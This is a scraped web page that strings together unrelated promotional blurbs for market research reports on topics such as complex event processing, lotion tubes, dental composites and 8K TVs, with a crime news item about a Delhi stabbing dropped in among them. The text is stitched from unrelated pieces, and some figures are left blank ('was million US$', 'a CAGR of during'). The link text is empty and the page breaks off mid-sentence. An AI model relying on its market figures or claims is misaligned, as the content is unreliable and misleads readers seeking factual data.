purpose of this research report titled Global Complex Event Processing (CEP) Market Size, Status and Forecast 2019-2025 is to enlighten the readers about the global market during the period between 2019 and 2025. Market Research Hub (MRH) has diligently compiled this study to discuss various facets of the global Complex Event Processing (CEP) market together with the various players contributing to its future development. The inclusion of market dynamics, market size, revenue share, forecast growth etc., makes this assessment a rich data source for investors, shareholders and new entrants.Get Sample Copy of This Report @In 2018, the global Complex Event Processing (CEP) market size was million US$ and it is expected to reach million US$ by the end of 2025, with a CAGR of during 2019-2025.This report focuses on the global Complex Event Processing (CEP) status, future forecast, growth opportunity, key market and key players. The study objectives are to present the Complex Event Processing (CEP) development in United States, Europe and China.The key players covered in this studyOracleFujitsuTIBCOWSO2EsperTechIBM...Market segment by Type, the product can be split intoSMELarge EnterprisesMarket segment by Application, split intoBFSITransportation and LogisticsHealthcareIT and TelecommunicationRetailEnergy and UtilitiesManufacturingGovernmentOtherMarket segment by Regions/Countries, this report coversUnited StatesEuropeChinaJapanSoutheast AsiaIndiaCentral & South AmericaBROWSE Full Report NOW @Table of Contents1 Report Overview1.1 Study Scope1.2 Key Market Segments1.3 Players Covered1.4 Market Analysis by Type1.4.1 Global Complex Event Processing (CEP) Market Size Growth Rate by Type (2014-2025)1.4.2 SME1.4.3 Large Enterprises1.5 Market by Application1.5.1 Global Complex Event Processing (CEP) Market Share by Application (2014-2025)1.5.2 BFSI1.5.3 Transportation and Logistics1.5.4 Healthcare1.5.5 IT and Telecommunication1.5.6 Retail1.5.7 Energy and Utilities1.5.8 Manufacturing1.5.9 Government1.5.10 Other1.6 Study Objectives1.7 Years Considered2 Global Growth Trends2.1 Complex Event Processing (CEP) Market Size2.2 Complex Event Processing (CEP) Growth Trends by Regions2.2.1 Complex Event Processing (CEP) Market Size by Regions (2014-2025)2.2.2 Complex Event Processing (CEP) Market Share by Regions (2014-2019)2.3 Industry Trends2.3.1 Market Top Trends2.3.2 Market Drivers2.3.3 Market Opportunities3 Market Share by Key Players3.1 Complex Event Processing (CEP) Market Size by Manufacturers3.1.1 Global Complex Event Processing (CEP) Revenue by Manufacturers (2014-2019)3.1.2 Global Complex Event Processing (CEP) Revenue Market Share by Manufacturers (2014-2019)3.1.3 Global Complex Event Processing (CEP) Market Concentration Ratio (CR5 and HHI)3.2 Complex Event Processing (CEP) Key Players Head office and Area Served3.3 Key Players Complex Event Processing (CEP) Product/Solution/Service3.4 Date of Enter into Complex Event Processing (CEP) Market3.5 Mergers & Acquisitions, Expansion PlansMore Information@@@About Market Research HubMarket Research Hub (MRH) is a next-generation reseller of research reports of different sector like software market research and analysis. MRHs expansive collection of industry reports has been carefully curated to help key personnel and decision makers across industry verticals to clearly visualize their operating environment and take strategic steps.MRH functions as an integrated platform for the following products and services: Objective and sound market forecasts, qualitative and quantitative analysis, incisive insight into defining industry trends, and market share estimates. Our reputation lies in delivering value and world-class capabilities to our clients.Contact Us90 State Street,Albany, NY 12207,United StatesToll Free: 800-998-4852 (US-Canada)Email: press@marketresearchhub.com Automotive Fuel Transfer Assemblies Market Insights, Trends & Future Development Status Recorded during 2018-2028 // Key Player Like - Robert Bosch GmbH, Kongsberg Automotive, Jalex automotive Pvt. Ltd. https://www.factmr.com/connectus/sample?flag=T&rep_id=1246 https://www.factmr.com/report/1246/automotive-fuel-transfer-assemblies-market https://www.factmr.com/connectus/sample?flag=B&rep_id=1246 https://www.factmr.com/ https://www.industrynewsanalysis.com/ Rates of fuel consumption and high efficiency are some of the major drivers for the growth of the automotive fuel transfer assemblies market. The ability of these fuel transfer assemblies to transfer a constant pressurized fuel supply to the fuel injection from the fuel tank on the engine is escalating the demand for automotive fuel transfer assemblies. The growing demand for passenger vehicles with technological advancements is spurring market growth. The growing automotive industry and demand for auto components are expected to support the growth of the Automotive Fuel Transfer Assemblies Market.Request TOC of this Report-Automotive fuel transfer assemblies are used for improving the fuel system availability and safety during the transmission of fuel to the combustion unit of an automotive engine. A fuel pump transfer assembly is mounted in a fuel tank for sending fuel to a fuel injector, which includes a driving means for supplying a driving force for sending or returning fuel. With increasing temperatures and increasing electronic controls, the need for efficient coolants is also increasing. For the lower temperature range, companies are producing advanced multi-layer tubing, and for the higher temperature range, they provide hybrid lines consisting of steel tubing with high-performing lightweight fluorocomp hoses. Automotive fuel transfer assemblies play an integral role in running any vehicle smoothly. These fuel transfer assemblies assist the engine in running as estimated under a wide range of driving conditions and rates of fuel consumption. As the demand for automotive components is surging in developing countries such as India, China, Brazil, Japan, and others, governments are undertaking many initiatives to increase the sales of these components. Technological developments in this niche, but significant products with the highest penetration rate in a vehicle is expected to enhance the growth of the automotive air fuel transfer assemblies market.However, the low replacement rate of fuel transfer assemblies in vehicles restrains the growth of the global automotive fuel transfer assemblies market.The global automotive fuel transfer assemblies market is segmented on the basis of product type, vehicle type, and sales channel.Browse Full Report with TOC-North American countries such as the U.S. and Canada are expected to show vigorous growth in the automotive fuel transfer assemblies market, owing to the large number vehicles production in these countries. The same perspective holds true for European countries such as Germany, Spain, and France. These countries exhibit high potential growth in the automotive fuel transfer assemblies market, due to escalating vehicle sales and a renewed interest in electric vehicles. India and China are expected to forefront the growth of the market in the Asia Pacific region, due to the major contribution of these two economies in the automotive industry. The aftermarket segment of the automotive fuel transfer assemblies market is expected to increase in the MEA region, due to the augmented demand for luxury vehicles in this region. Japan is also expected to show high potential for the market, due to the presence of a large number of OEMs in the country. The automotive fuel transfer assemblies market in the Latin America region is expected to experience slow growth, due to the decline in automotive industry in the regions largest economy, Brazil, but is projected to pick up steam in the latter stages of the forecast period.Key market participants of the global automotive fuel transfer assemblies markets are the following:Robert Bosch GmbHAkron Polymer ProductsHutchinsonATS Automation Tooling Systems IncKongsberg AutomotiveJalex automotive Pvt. Ltd.The research report presents a comprehensive assessment of the market, and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to market segments, such as geography, application, and industry.The report on the automotive fuel transfer assemblies market is a compilation of first-hand information, qualitative and quantitative assessment by industry analysts, and inputs from industry experts and industry participants across the value chain. The automotive fuel transfer assemblies market report provides an in-depth analysis of parent market trends, macro-economic indicators, and governing factors, along with market attractiveness as per segment. The automotive fuel transfer assemblies market report also maps the qualitative impact of various market factors on market segments and geographies.Request Brochure of this Report-About FactMRFactMR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market insights reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFactMR11140 Rockville PikeSuite 400Rockville, MD 20852United StatesEmail: sales@factmr.comWeb:Read Industry News at - APAC Food Additives Market Trends, Competitor Analysis and Forecast by Key Players DuPont, BASF, Archer Daniels Midland Company, Chr Hansen Holding, Kerry Group APAC Food Additives Market Size https://www.graphicalresearch.com/request/1103/sample https://www.graphicalresearch.com/request/1103/inquiry-before-buying https://www.graphicalresearch.com/industry-insights/1103/apac-food-additive-market www.graphicalresearch.com/ Graphical Research provides a detailed overview of APAC Food Additives Market with respect to the pivotal drivers influencing the revenue graph of this business sphere. The current trends of Food Additives market in conjunction with the geographical landscape, demand spectrum, remuneration scale, and growth graph of this vertical have also been included in this report.Growing urbanization in the region has boosted packaged food market, thus driving food additives industry size. Amplified product demand from food producers in order to enhance appearance, freshness, taste and safety of processed foods along with growing e-commerce trading in the groceries section is also driving food manufacturers to use effective food additives, thereby driving product demand.Request for a sample of this research report @Asia Pacific food & beverage market size was valued over USD 3 trillion in 2016 and is likely to witness gains at over 9.5%, owing to consumers demand for organic & healthy and food choices along with growing economic standards, thus driving product demand.Over 14.5% of bakery and 22.5% of confectionery & dairy products are used as packaged food products in Asia Pacific. Increasing customer consciousness concerning to the advantages of food additives in bakery & confectionery, dairy & meat products is anticipated to foster industry growth.China enzymes market size is anticipated to grow at over 5.5% owing to strong food processing industry in this region along with rising population, which is driving the requirement for food security, increasing need for food storage with maintained quality, thereby driving food additives demand.Make an inquiry for purchasing this report @India flavor market size from dairy & frozen desserts application may exceed 1.5 million tons by 2024 owing its application in fruit-yoghurt-fruit, milk beverages and as fruity notes in ice creams, which is likely to foster industry growth.Growing quick serve restaurants and fast food chains will increase demand for food additives in this region which may act as key contributing factor towards regional market growth.Food Additives Market statistics, By Product Flavors & enhancers Sweeteners High Intensity Sweeteners (HIS) Bulk Sweeteners Sugar Substitutes Food emulsifiers Acidulants Shelf-life stabilizers Food colorants Enzymes Hydrocolloids PreservativesJapan food emulsifier market size is anticipated to witness gains at 4.5% owing to mounting product demand increasing working population, which is driving the need for packaged food products, thus driving product demand.Browse Complete Report Summary @Raising obesity level in the region has resulted in increased demand for trans-fat products, which is driving the food processors plants to use emulsifiers in order to decrease fat and calories, thus propelling food additives growth.Asia Pacific food additives industry share is moderately consolidated and competitive. Major companies operational in the market includes DuPont, BASF SE, Archer Daniels Midland Company, Chr Hansen Holding and Kerry Group.About Graphical Research:Graphical Research is a business research firm that provides industry insights, market forecast and strategic inputs through granular research reports and advisory services. We publish targeted research reports with an aim to address varied customer needs, from market penetration and entry strategies to portfolio management and strategic outlook. We understand that business requirements are unique: our syndicate reports are designed to ensure relevance for industry participants across the value chain. We also provide custom reports that are tailored to the exact needs of the customer, with dedicated analyst support across the purchase lifecycle.Contact Us:Parikhit B.Corporate sales,Graphical ResearchEmail: sales@graphicalresearh.comWeb: A 56-year-old man was arrested by the Delhi Police on Thursday for allegedly killing his mother and younger brother after stabbing them multiple times in Dwarkas Bindapur area. The incident occurred on Tuesday evening. Police said the duo brothers were un-employed and used to fight over petty issues after consuming alcohol. The accused has been identified as Sunil Arora, a resident of Vishwash Park near Delhis Uttam Nagar area. While, the deceased have been identified as, mother, Lata Arora (75) and brother Rajender. According to a senior police official, one complainant Naresh Singh, a resident of Vishwash Park, Uttam Nagar, stated that when he was standing near street number 5 on Tuesday around 8.45 pm, his neighbour Rajender came there, who had some stab injuries and was bleeding, and was asking for help. Naresh further stated that Rajender told him that his elder brother Sunil had stabbed him and his mother. When Singh, along with his friends, went to Rajenders building, his elder brother Sunil was standing there with a knife in his hand and threatened us after saying that it is a family issue and do not come in between us. Thereafter, Sunil stabbed Rajender and dragged him to his flat, said the senior police official. Later, one Amit Kumar Maurya, the neighbour of the deceased, called police and informed them about the incident. While Naresh had stopped two police men when they noticed them passing through the area and took them to the spot, said the senior police official. The victims were rushed to Deen Dayal Upadhyay Hospital where Rajender was declared brought dead. Later, his mother Lata Arora succumbed to her injuries during the treatment, said the senior police official. A case under Section 302 (murder) has been registered and the accused has been arrested. One knife, one broken wooden bat and bend scissor were recovered from the house, said the police official privy to investigation. The brothers did not have any job and they were living over her mothers pension. Their father had died couple of years back and they were living with their mother, said the police official adding that the neighbours told police that that they both used to fight on petty issues many times as they used to drink alcohol. Lotion Tubes Market 2019| High Barrier Protection Capability due to The Usage of Several Polymer Layers In the Tubes https://www.marketresearchreports.biz/sample/sample/14186 https://www.marketresearchreports.biz/sample/toc/14186 http://www.marketresearchreports.biz/ Marketresearchreports.biz has announced the addition of the "Lotion Tubes Market: Global Industry Analysis 2013-2017 and Opportunity Assessment 2018-2028" report to their offering.Lotion tubes are flexible squeezable containers which are capable of storing liquids with less viscosity. The surface of lotion tubes encompasses of several polymers layers and other materials. Lotion tubes give excellent barrier protection and increase the shelf life of the product. Due to this features, the lotion tubes are expected to experience a tremendous demand in volume from various industries such as food, personal care & cosmetics and pharmaceuticals over the forecast period. Due to the market penetration in several industries, the tubes manufacturers are focusing on enhancing the quality by creating the product more dependable, puncture resistant, flexible, moisture resistant, etc. which can help to increase the market for lotion tubes. Lotion tubes are available in the market with the size ranging from 5ml to 300ml. Lotion tubes are fitted with a wide variety of caps & closures which provide another good feature which contributes to increasing the demand for both the product. Due to all these features of lotion tubes the market is expected to grow by value and volume over the forecast period 2017-2027.Get Free Sample Copy Of This Report @Global Lotion Tubes - Market Dynamics:Lotion tubes are getting tremendous demand from various industries such as pharmaceuticals and cosmetics. The global pharmaceuticals industry is growing continuously in recent years which has positively impacted the market for lotion tubes. In addition, these lotion tubes are mainly used for storing pharmaceuticals products such as pain relief cream, anti-fungal cream, oral cream, and other ointments. The cosmetic industry has also shown an augmentation for the market over the past few years due to the demand for products such as sunscreen lotion, face wash, skin lotions, etc. Moreover, another factor which is supporting the growth of lotion tubes market is the high barrier protection capability due to the usage of several polymer layers in the tubes. However, the market for lotion tubes is mainly facing the challenge from traditional packaging solutions such as pouches and bottles.Global Lotion Tubes - Market Segmentation:The global lotion tubes market can be segmented by the material type, by packaging type, and by number of layers.On the basis of material type, the global lotion tubes market is segmented into:PlasticPolyethylene (PE)Polypropylene (PP)Polyethylene Terephthalate (PET)Polyamide (PA)Polyvinyl Chloride (PVC)Ethyl Vinyl Alcohol (EVOH)AluminumOn the basis of applicators, the global lotion tubes market is segmented into:Pin-point applicatorsAirless pumpsRoll-on applicatorsSlant tip applicatorsBrush-tipOthers (sponge base applicators, etc.)On the basis of layers, the global lotion tubes market is segmented into:2 layers3 layers5 layers and aboveOn the basis of end use, the global lotion tubes market is segmented into:PharmaceuticalsPersonal Care & CosmeticsFoodHomecareOthers (Chemicals, etc.)Request For TOC @Global Lotion Tubes Regional Overview:The global lotion tubes market can be divided into seven major regions which are as follows:North AmericaLatin AmericaEastern EuropeWestern EuropeAsia-Pacific excluding JapanJapanMiddle East & AfricaNorth America is expected to dominate the market for lotion tubes by volume due to high demand in the pharmaceutical industry in the region. Europe region is also expected to witness a strong growth for lotion tubes market over the forecast period. Asia-Pacific region is expected to show the highest growth for lotion tubes due to the expansion of pharmaceuticals and cosmetic industry in these regions. Furthermore, Latin America and the Middle East & Africa region are anticipated to witness relatively slow growth over the forecast period for lotion tubes market.Global Lotion Tubes Key players:Few of the key players in the lotion tubes market are Essel Propack Ltd, Montebello Packaging, Alltub SAS,Hoffman Neopac AG, East Hill Industries, Inc, Albea S.A., Jsn Industries Inc, Prisha Tubes Pvt Ltd, Proactive Plast Pvt. Ltd, Auber Packaging Co., Unette Corporation, Eastar Cosmetic Packaging, Ouxinmay Packaging Co., Ltd., Lixin Packaging Material Co., Ltd., Guanyu Plastic Tube Co., Ltd., etc.MRR.BIZ has been compiled in-depth market research data in the report after exhaustive primary and secondary research. Our team of able, experienced in-house analysts has collated the information through personal interviews and study of industry databases, journals, and reputable paid sources.The report provides the following information:Tailwinds and headwinds molding the markets trajectoryMarket segments based on products, technology, and applicationsProspects of each segmentOverall current and possible future size of the marketGrowth pace of the marketCompetitive landscape and key players strategiesThe main aim of the report is to:Enable key stakeholders in the market bet right on itUnderstand the opportunities and pitfalls awaiting themAssess the overall growth scope in the near termStrategize effectively with respect to production and distributionMRR.BIZ is a leading provider of strategic market research. Our vast repository consists research reports, data books, company profiles, and regional market data sheets. We regularly update the data and analysis of a wide-ranging products and services around the world. As readers, you will have access to the latest information on almost 300 industries and their sub-segments. Both large Fortune 500 companies and SMEs have found those useful. This is because we customize our offerings keeping in mind the specific requirements of our clients.About UsMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.Contact UsMr. NachiketState Tower90 Sate Street, Suite 700Albany, NY 12207Tel: +1-518-621-2074Website:E: sales@marketresearchreports.biz Composite Filling Market in Dental Restoration in the advanced material industry is Likely to Reach US$ 536.0 million in 2024 https://www.stratviewresearch.com/toc/262/composite-filling-market-in-dental-composites.html https://www.stratviewresearch.com/Request-Sample/262/composite-filling-market-in-dental-composites.html Launching announcement of a new research report on Composite Filling Market in Dental Restoration which is projected to reach US$ 536.0 million by 2024 - forecasted by Stratview Research. The study provides an in-depth by Material Type (Nanohybrid, Micro hybrid, Microfilled, Nanofilled, and Others), by Defect Class Type (Class 1, Class 2, Class 3, Class 4, and Class 5), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024Click here to read the detailed description and TOC:Composite Filling Market in Dental Restoration: HighlightsThe global composite filling market in dental restoration was is projected to grow at a healthy rate over the next five years to reach US$ 536.0 million in 2024. An aging population, increasing awareness for oral hygiene causing a worldwide rise in dental check-ups, advantages of composite resin over amalgam in tooth-filling, and increasing demand for dental esthetics are major growth drivers of the composite filling market in dental restoration.The market is segmented based on the material type as nanohybrid, micro hybrid, microfilled, nanofilled, and others. Nanohybrid and micro hybrid currently dominate the global composite filling market in dental restoration, driven by a wide array of factors including easy to apply, reduced sitting period, and easy availability. These materials are also projected to witness higher growth rates during the forecast period, driven by an increasing demand from the dentists and dental care organizations.Based on defect class type, class 1 type of defect is likely to remain the largest and fastest-growing defect type during the forecast period. The rising index of the population and unhealthy eating habits amongst teenagers and young children have significantly increased the cases of class 1 defect amongst the population, supporting the fastest growth of class 1 defect type. Class 5 is the second fastest-growing defect type during the same period.Request sample here-Europe is expected to remain the largest market for composite filling for dental restoration during the forecast period, owing to the higher preference of composite filling over amalgam and the presence of key dental companies in this region. Asia-Pacific is projected to witness the highest growth rate during the same period. This is mainly because of the high population base of key Asian countries, such as India, and China, and a gradual shift from amalgam to the composite filling. Additionally, the rise in the demand for regular oral check-ups to have the oral hygiene is further elevating the growth of composite filling in this region.The supply chain of this market comprises resin suppliers, dental composite filling manufacturers, dentists/dental experts, and patients. The resin suppliers include the chemical/advanced material manufacturing companies, such as 3M and The Dow Company. The dental composite filling manufacturers include 3MESPE, Dentsply Sirona, Coltene Holding, The Danaher Corporation, Denmat Holdings, Heraeus Kulzer GmbH, etc. These companies manufacture the dental composite filling materials either in the form of injectable or paste materials along with their accessories as complete dental kits. The dental experts include qualified practitioners or dental doctors belonging to the recognized dental organizations. The patients include the different age group population suffering from dental defects.Report FeaturesThis report provides market intelligence in the most comprehensive way. The report structure has been kept such that it offers maximum business value. It provides critical insights into the market dynamics and will enable strategic decision making for the existing market players as well as those willing to enter the market. The following are the key features of the report: Market structure: Overview, industry life cycle analysis, supply chain analysis Market environment analysis: Growth drivers and constraints, Porters five forces analysis, SWOT analysis Market trend and forecast analysis Market segment trend and forecast Competitive landscape and dynamics: Market share, product portfolio, product launches, etc. Attractive market segments and associated growth opportunities Emerging trends Strategic growth opportunities for the existing and new players Key success factorsStratview Research is a global market intelligence firm offering a wivde range of services including syndicated market reports, consulting, sourcing intelligence, and customer research.We have a strong experienced team of industry veterans and research analysts with a perfect blend of wisdom, knowledge and attitude. We have been serving multiple clients across a wide array of industries.400 Renaissance Center,Suite 2600,Detroit, Michigan, MI 48243United States of America Neuroprotection Market Industry Analysis (2013 2017) & Opportunity Assessment (2017 2025) || Daiichi Sankyo Company, Eli Lilly and Company, Allergan plc, Dr. Reddys Laboratories Ltd., Teva Pharmaceutical Industries Ltd Neuroprotection https://www.mrrse.com/sample/4645 https://www.mrrse.com/neuroprotection-market https://www.mrrse.com/enquiry/4645 A fresh report has been added to the wide database of Market Research Report Search Engine (MRRSE). The research study is titled Neuroprotection Market Industry Analysis (2013 2017) & Opportunity Assessment (2017 2025) which encloses important data about the production, consumption, revenue and market share, merged with information related to the market scope and product overview.The global Neuroprotection market will increase at a CAGR of 8.2% during the forecast period between 2017 and 2025. Driven by the growing healthcare industry, increasing use of Neuroprotection in cosmetics, government initiatives, and rising ageing population, the market valued at US$ 23,170.6 Mn in 2016 in terms of revenue.Request Free Sample Report @The Neuroprotection market report comprises an elaborate executive summary, which includes a market snapshot that provides information about various segments of the market. It also provides information and data analysis of the global market with respect to the segments based on product type, application, and geography. A detailed qualitative analysis of drivers and restraints of the market and opportunities has been provided in the market overview section. In addition, the section comprises competitive matrix and company profiles with business overview to understand the competitive landscape in the market. This section of the report also provides market attractiveness analysis, by geography and market share analysis by key players, thus presenting a thorough analysis of the overall competitive scenario in the global Neuroprotection market.Based on product type, the market has been segmented into Free Radical Trapping Agents (Antioxidants), Glutamate Antagonists (Anti-Excitotoxic Agents), Apoptosis Inhibitors, Anti-inflammatory Agents, Neurotrophic Factors (NTFs), Metal Ion Chelators, Stimulants, and Others. The application segments have been analyzed based on available approved products for prevention and treatment. The market size and forecast for each of these segments have been provided for the period from 2015 to 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year.Geographically, the global Neuroprotection market has been categorized into five major regions and the key countries in the respective region: North America (the U.S., Canada), Europe (the U.K., Germany, France, Spain, Italy, Russia, and Rest of Europe), Asia Pacific (India, China, Japan, Australia & New Zealand and Rest of Asia Pacific), Latin America (Brazil, Mexico, and Rest of Latin America) and Middle East & Africa (South Africa, GCC countries, Israel, and Rest of Middle East & Africa). The market size and forecast for each of these regions and the mentioned countries have been provided for the period from 2015 to 2025, along with their respective CAGRs for the forecast period from 2017 to 2025, considering 2016 as the base year. The research study also covers the competitive scenario in these regions.Browse Complete Report with TOC @The report also profiles major players in the global Neuroprotection market based on various attributes such as company overview, financial overview, product portfolio, business strategies, and recent developments. The major players in the Neuroprotection Market are Daiichi Sankyo Company, Eli Lilly and Company, Allergan plc, Dr. Reddys Laboratories Ltd., Teva Pharmaceutical Industries Ltd., Novartis AG, AstraZeneca plc, Astrocyte Pharmaceuticals, Inc., F. Hoffmann-La Roche AG, Biogen Inc., and other prominent players.The global Neuroprotection market is segmented as given below:Global Neuroprotection Market Revenue, by Product Type, 20152025Free Radical Trapping Agents (Antioxidants)Glutamate Antagonists (Anti-Excitotoxic Agents)Apoptosis InhibitorsAnti-inflammatory AgentsNeurotrophic Factors (NTFs)Metal Ion ChelatorsStimulantsOthersGlobal Neuroprotection Market Revenue, By Application, 2015-2025PreventionTreatmentGlobal Neuroprotection Market Revenue, By Geography, 20152025North AmericaU.S.CanadaEuropeGermanyFranceU.K.SpainItalyRussiaRest of EuropeAsia PacificIndiaChinaJapanAustralia & New ZealandRest of Asia PacificLatin AmericaBrazilMexicoRest of Latin AmericaMiddle East & AfricaGCC countriesSouth AfricaIsraelRest of Middle East & AfricaEnquire about this Report @About Market Research Reports Search Engine (MRRSE)Market Research Reports Search Engine (MRRSE) is an industry-leading database of Market Research Reports. MRRSE is driven by a stellar team of research experts and advisors trained to offer objective advice. Our sophisticated search algorithm returns results based on the report title, geographical region, publisher, or other keywords.MRRSE partners exclusively with leading global publishers to provide clients single-point access to top-of-the-line market research. MRRSEs repository is updated every day to keep its clients ahead of the next new trend in market research, be it competitive intelligence, product or service trends or strategic consulting.Contact UsState Tower90, State StreetSuite 700Albany, NY - 12207United States Telephone: +1-518-730-0559Email: sales@mrrse.com Bleeding Disorders Treatment Market Industry Summary, Constraints With Key Players Bayer Healthcare, Biogen Idec, Novo Nordisk, Xenetic Biosciences, Shire, Sanofi, Cangene Corporation Bleeding Disorders Treatment https://www.coherentmarketinsights.com/insight/request-sample/527 https://www.coherentmarketinsights.com/insight/request-pdf/527 A bleeding disorder is a state in which the normal clotting function of blood is adversely affected. On an injury to the body, blood normally starts to clot to prevent major loss of blood. Occasionally, certain situations prevent blood from clotting properly, which can result in heavy or prolonged bleeding. Bleeding disorders can cause abnormal bleeding both outside and inside of the body. Some disorders can drastically increase the amount of blood lost by the body. Others cause bleeding to follow under the skin or in vigorous organs, such as the brain. Normal blood clotting involves blood components called platelets and as many as there are 20 different plasma proteins in body called as blood clotting or coagulation factors. These factors interact with other chemicals to form a substance called fibrin which stops bleeding. Complications can occur when certain factors are low or missing in body. Bleeding problems can range from mild to severe. Some bleeding disorders are present at time of birth and some are passed through families (inherited).According to American Society of Hematology, in 2016, around 20,000 people in the U.S. suffer from hemophilia, a condition that is predominantly observed in males. Hemophilia is the most well-known inherited bleeding disorder, although it is rather rare. On the other hand, many people are affected by von Willebrand disease, the most common inherited bleeding disorder in the U.S. caused by clotting proteins. This disease can affect both males and females and is found in nearly 1% of the U.S. population. And according to the Centers for Disease Control and Prevention (CDC) statistics, in the U.S. around 400 newborns suffer from hemophilia every year.Bleeding Disorders Treatment MarketOn the basis of type of disorder, the global bleeding disorders treatment market is classified into:Hemophilia AHemophilia Bvon Willebrand Disease (vWD)Request For Sample Copy:The bleeding disorder treatment market is driven by the large customer base, growing awareness about the bleeding disorders and available cures, and favorable compensation policies. Patent expiry of existing brands will also provide generic drug manufacturers opportunities to enter the lucrative bleeding disorder therapeutics market. Market for bleeding disorder treatment is mostly focused towards western countries of North America and Europe, owing to the high price of branded drugs. Low cost drugs will help in market penetration in under developed and developing countries, where patients cannot afford high cost of medical treatment. Hence, availability of cheap generic drugs will boost market growth in the countries of Middle East and Africa, Asia-Pacific (APAC), and Latin America.North America is estimated to contribute the largest share of the market throughout the forecast period. The market in APAC is estimated to register the highest growth during the forecast period, owing to increasing awareness of these disorders in the emerging economies such as India and China.The global bleeding disorder treatment market is highly competitive in nature. Technological advances will expand the boundaries of the market by adding new products such as Shire launched Vonvendi in the U.S. (In 2016), bringing the first recombinant von Willebrand factor treatment to market eight months after winning approval from the Food and Drug Administration(FDA). Key players operating in the global bleeding disorders treatment market are Bayer Healthcare, Biogen Idec, Novo Nordisk, Xenetic Biosciences, Shire, Sanofi, Cangene Corporation, CSL Behring, Alnylam Pharmaceuticals, Pfizer, Inc., Novo Nordisk, Amgen, Inc., Janssen Pharmaceuticals, and Octapharma.Download the PDF brochure:About Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Mr.ShahCoherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email:sales@coherentmarketinsights.com Healthcare Middleware Market | Global Industry Top Key Players: Informatica, Epic, Microsoft, Red Hat, Fujitsu Global, IBM, and TIBCO Software Inc. Research for Markets https://www.researchformarkets.com/sample/healthcare-middleware-global-market-129566 https://www.researchformarkets.com/reports/healthcare-middleware-global-market-129566 https://www.researchformarkets.com/buy-now/healthcare-middleware-global-market-129566/one The report analyzes and presents an overview of Healthcare Middleware - Global Market Outlook (2017-2026)' is a professional and in-depth research & with a focus on the current state of the global industry.Global Healthcare Middleware market is accounted for $1.79 billion in 2017 and is expected to reach $5.01 billion by 2026 growing at a CAGR of 12.1%.Healthcare Middleware industry Factors such as growing usage of smart phones, rising demand for data interoperability and rising investments on interoperability issues of healthcare are driving the market growth. However, data security issues associated with hosting data on cloud and concerns regarding data inconsistency are some key factors restricting the market growth.Request Sample Copy of the Report @The Report on the Healthcare Middleware market offers explain knowledge on the market parts like dominating players, Regions Covered (North America, Europe, Asia Pacific, South America and Middle East & Africa), Deployment Models Covered (Cloud-Based Models, Hybrid Model and On-Premise Models), Types Covered (Integration Middleware, Communication Middleware, Platform Middleware and Other Middleware Types)Some Of The Key Players In Global Healthcare Middleware Market IncludeInformatica, Epic Systems, Orion Health, Microsoft, Red Hat, Fujitsu, Cerner, Intersystems, Corepoint Health, Zoeticx, Tibco Software, Oracle, Software AG, IBM and Ascom Holding AGMiddleware is a class of software technologies designed to help manage the complexity and heterogeneity inherent in distributed systems. It is defined as a layer of software above the operating system but below the application program that provides a common programming abstraction across a distributed system. To get the maximum benefit of ubiquitous healthcare system it is necessary to build a middleware between different ubiquitous applications which can play an important role in management of data and information processing.Applications Covered:Operational & Administrative, Clinical and FinancialEnd users Covered:Clinical Laboratories, Healthcare Providers. Life Science Organizations and Healthcare PayersBrowse Full Report with TOC @By Application, the clinical applications segment is leading the market with the significant growth. The main benefit of middleware solutions is auto verification. This auto verification provides correct results in clinical laboratory and has the ability to track various areas of lab performance. Based on end user, healthcare providers segment commanded significant market share. Healthcare providers deliver real-time results from disparate platforms and technology into any clinical workflow. Healthcare providers, in an effort to improve care quality and reduce costs, are progressively turning to IT-enabled business strategies which influence adoption in healthcare middle ware solutions.By Geography, Asia Pacific has acquired highest market share during the forecast period owing to growing demand of market players in emerging countries and healthcare providers spending on IT infrastructure.Table of Content1 Executive Summary2 Preface3 Market Trend Analysis4 Porters Five Force Analysis5 Global Healthcare Middleware Market, By Deployment Model6 Global Healthcare Middleware Market, By Type7 Global Healthcare Middleware Market, By Application8 Global Healthcare Middleware Market, By End User9 Global Healthcare Middleware Market, By Geography10 Key Developments11 Company ProfilingPlace a Purchase Order for Healthcare Middleware Market@WHAT OUR REPORT OFFERS:- Market share assessments for the regional and country level segments- Market share analysis of the top industry players- Strategic recommendations for the new entrants- Market forecasts for a minimum of 9 years of all the mentioned segments, sub segments and the regional markets- Market Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations)- Strategic recommendations in key business segments based on the market estimations- Competitive landscaping mapping the key common trends- Company profiling with detailed strategies, financials, and recent developments- Supply chain trends mapping the latest technological advancementsNote: Any special requirements about this report, please let us know and we can provide custom report.About Research for Markets:Research for Markets indulges in detailed and diligent research on different markets, trends and emerging opportunities in the successive direction to cater to your business needs. We have established the pillars of our flourishing institute on the grounds of Credibility and Reliability. RFM delve into the markets across Asia Pacific, North America, South America, Europe, Middle East and Africa.Contact:Mr. A NaiduResearch for MarketsTel: +44 8000-4182-37 (UK)Email: alan.naidu@researchformarkets.com 8K Ultra HD TVs Market Expected to Reach USD 71000 Million with Global Trend, Business Profit And Future Scope to 2023 | Top Key Players Samsung, Sharp, Hisense, LG, Konka, Changhong, Skyworth 8K Ultra HD TVs Market https://www.businessindustryreports.com/sample-request/150746 https://www.businessindustryreports.com/check-discount/150746 This report provides in depth study of 8K Ultra HD TVs Market using SWOT analysis i.e. Strength, Weakness, Opportunities and Threat to the organization. The 8K Ultra HD TVs Market report also provides an in-depth survey of key players in the market organization.Global 8K Ultra HD TVs Market Synopsis:The Global 8K Ultra HD TVs Market research 2019 highlights the major details and provides in-depth analysis of the market along with the future growth, prospects and Industry demands analysis explores with the help of complete report with 125 